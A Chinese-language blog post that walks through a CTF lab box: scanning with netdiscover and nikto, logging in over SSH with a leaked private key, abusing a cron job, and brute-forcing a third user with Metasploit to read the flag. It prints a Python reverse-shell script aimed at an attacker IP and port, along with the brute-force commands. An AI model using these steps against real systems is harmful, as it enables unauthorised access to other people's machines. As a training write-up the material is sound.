CTF-ssh服务测试详细版

ssh服务测试详细版

攻击机ip:192.168.1.2

靶机ip:192.168.1.11

首先,netdiscover -r 192.168.1.11,查到靶机ip

打开靶机ip,发现是个网站,进行信息收集

 

找到个用户名,martin,后面或许有用

随后进行端口开放的查询,发现22号端口开启ssh服务,那么我们是否可以进行ssh远程登陆服务器呢?想到就做到,开搞。

用nikto -host 靶机ip

找啊找啊找,最后在/icons里找到了一些有趣的东西,一个txt文件,一打开,发现是ssh远程会话登陆的私钥!

 

 

紧接着我们就应该想到了ssh -i 私钥 用户名@ip这条命令可以进行ssh登陆。

那么我们就使用wget把他下载下来。一登陆发现没有权限,无法登录,ls -al查询文件权限,发现不是可读可写,那么我们就将它改成可读可写 chmod 600 私钥文件名。再次登陆发现还是不行,无法建立连接,说需要密码,好,那么我们就用john进行解密,但是发现它回显,无密码??

之后问了下老师,他说需要把一个缓存文件给删掉才行。

好!我们不会就百度

最后找到了答案,是这样的:ssh会把你每个你访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告,避免你受到DNS Hijack之类的攻击。而因为之前我用kali攻击机做l了个ssh私钥泄露的实验,所以我想应该是那时候留下来的。那么我们就删除这个缓存文件吧!

首先使用命令 ssh-keygen -l -f ~/.ssh/known_hosts 查询/.ssh/known_hosts文件中的私钥缓存有多少个

使用命令 ssh-keygen -R xxx.xxx.xxx.xxx (服务器ip地址) 从known_hosts文件中删除属于hostname的所有密钥。

然后再删除私钥文件,进重新下载,就可以登陆成功啦!

 

 

 

我们拿到了matin权限,那么我们进行进行查询发现没有flag.txt。那么意味着可能是另外两个用户可能能查询到。那么我们就以现在的身份进行信息挖掘。

我们知道,root用户可以通过/etc/crontab 文件,设定系统定期执行的任务,不同的用户有不同的任务。cat /etc/crontab   挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。

 

如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。

如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。

以下是反弹shell的代码

靶场代码

#!/usr/bin/python

import os,subprocess,socket

s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)

s.connect((“攻击机IP地址”,”攻击机监听端口”))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call([“/bin/sh”,”-i”])

攻击机使用nc -lpv 未占用端口进行监听,再攻击机上反弹回来的shell进行查询发现jimmy用户也无法查询到flag.txt文件,那就只能依托于最后的hadi用户了。我们只是用metaspolit进行暴力破解。在这之前我们需要西在字典文件。

利用 cupp 创建字典

 git clone https://github.com/jeanphorn/common-password.git 

 chmod +x cupp.py

./cupp.py -i     以交互的方式创建字典 

 

然后就可以使用metaspolit工具了

命令:

msfconsole  ---打开工具

use auxiliary/scanner/ssh/ssh_login  ---进入ssh模块

set rhosts 192.168.1.137  ---设置靶机ip

set username hadi  ---设置用户名

set pass_file /root/Desktop/commont-password/hadi.txt  ---设置密码文件

set threads 5  ---设置线程

run  --启动

最后爆破出hadi的登陆密码为hadi123

back  --退出,再进入ssh模块,设置ip,设置用户名,输入密码即可登陆成功

 

 

然后发现里面有一个id为1的会话,我们尝试会话,发现它并不像我们通常的终端会话一样,权限@用户名的,那么我们就是用python代码进行优化。

python -c "import pty; pty.spawn('/bin/bash')"

 

 然后ls查询我们发现了个flag.txt文件,那么我们cat一下它就可以拿到flag了!

 

posted @ 2020-03-31 22:48  Hbbbbbb  阅读(548)  评论(0编辑  收藏  举报